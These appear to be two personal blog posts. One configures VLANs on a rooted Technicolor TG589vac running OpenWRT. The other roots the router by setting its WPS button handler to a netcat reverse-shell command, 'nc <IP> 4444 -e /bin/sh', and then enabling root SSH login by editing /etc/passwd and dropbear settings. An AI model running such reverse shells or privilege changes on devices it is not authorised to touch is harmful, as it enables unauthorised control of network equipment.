Adding VLANs to OpenWRT

Adding VLANs to a hacked OpenWRT router

Technicolor MediaAccess TG589vac

Warning: Incorrectly modifying the /etc/config/network file can cause switch/router inoperabilty, it could brick the device or cause it to lose network connectivity to it’s management interface. Follow these steps only with full knowledge that you could destroy your router or switch. I accept no responsibility!

I inherited one of these routers from a previous ISP and bought another from ebay since they make pretty competent 4-port gigabit switches once the firmware has been rooted. I have a guide to root your TG589vac here. Since setting them up as my home lab switches, I now have a requirement to implement VLANs on my network for segmentation and to make things tidyer on my virtualisation hosts.

Since these routers are running OpenWRT then adding VLANs to them is fairly straight forward. Log into the router as root and modify the network config file with vi /etc/config/network

The interesting section of this file is here:

config switch_vlan 'lan_switch'
	option ports '1* 2* 3* 4* 8t'
	option device 'bcmsw'
	option vlan '1'

config switch_vlan 'lan_switch'
	option ports '1* 2* 4t 8t'
	option device 'bcmsw'
	option vlan '1'

config switch_vlan 'lan_switch_vlan5'
	option ports '3* 4t 8t'
	option device 'bcmsw'
	option vlan '5'

Notice that port 3 was removed and port 4 was switched to tagged on VLAN id 1, then VLAN id 5 has been configured on port 3 untagged and port 4 tagged. I’m unsure of the significace of port 8t but in my case it works with the port included in all additional VLANs.

* - denotes untagged
t - denotes tagged

Warning: DO NOT change the name of the vlan ‘lan_switch’ doing so caused a segfault when reloading the network on my switch and soft-bricked it. The switch was left restarting the network over and over. After much trial and error, I managed to factory reset it once all physical network ports were unplugged.

Once you have made your edits, restart the network with /etc/init.d/network reload or service network reload depending on the OpenWRT version.

root@dsldevice:~# /etc/init.d/network reload  
Success  
JUMBO_PORT_MASK:0x000001FF  
GPHY_0 port accepts jumbo frames.  
GPHY_1 port accepts jumbo frames.  
GMII_1 port accepts jumbo frames.  
GMII_2 port accepts jumbo frames.  
GPON_SERDES port accepts jumbo frames.  
MOCA port accepts jumbo frames.  
USB port accepts jumbo frames.  
GPON port accepts jumbo frames.  
MIPS port accepts jumbo frames.  
Success  
Success  
CDK_E_PORT  
CDK_E_PORT

If you happen to do this and find out you cannot get multicast working on your new VLANs, check out this post.

Written with StackEdit.

LAN side root on Technicolor MediaAccess TG589vac

Here is a method for gaining root access to your Technicolor TG589vac (and probably other models of) router.

Unfortunately this will only work on European models that have SSH enabled with an engineer account enabled.

Tested working on firmware revision 17.2.0278

It's a bit more involved than the older methods but here goes:

First set up a machine listening with netcat (make a note of it's IP)

nc -lvvp 4444

Set up the WPS button to connect back to your listening machine. Log into the engineer account using SSH. Password is printed on the label as access code.

get uci.button.button.@wps.handler
set uci.button.button.@wps.handler 'nc <IP ADDRESS> 4444 -e /bin/sh'
get uci.button.button.@wps.handler

Push the WPS button on the router (on the 589 it's the one on the side, visible in the image up top)

Congrats, you now have a root shell.

Once logged in you can set up root login via ssh. The following will read the passwd file, then modify the root shell from /bin/false to /bin/ash

cat /etc/passwd
sed -i "1s/\/bin\/false/\/bin\/ash/" /etc/passwd
cat /etc/passwd

Make sure the 2nd output of the passwd file has the correct root shell.

Next, configure dropbear to allow root login via SSH

uci set dropbear.lan.RootLogin='1'
uci set dropbear.lan.RootPasswordAuth='on'
uci commit

You have to restart dropbear

/etc/init.d/dropbear restart

root password is root :)

Login via SSH, set new root password

root@dsldevice:~# passwd root
New password:
Retype password:
Password for root changed by root

Set WPS button back using UCI

uci set button.wps.handler='wps_button_pressed.sh'
uci commit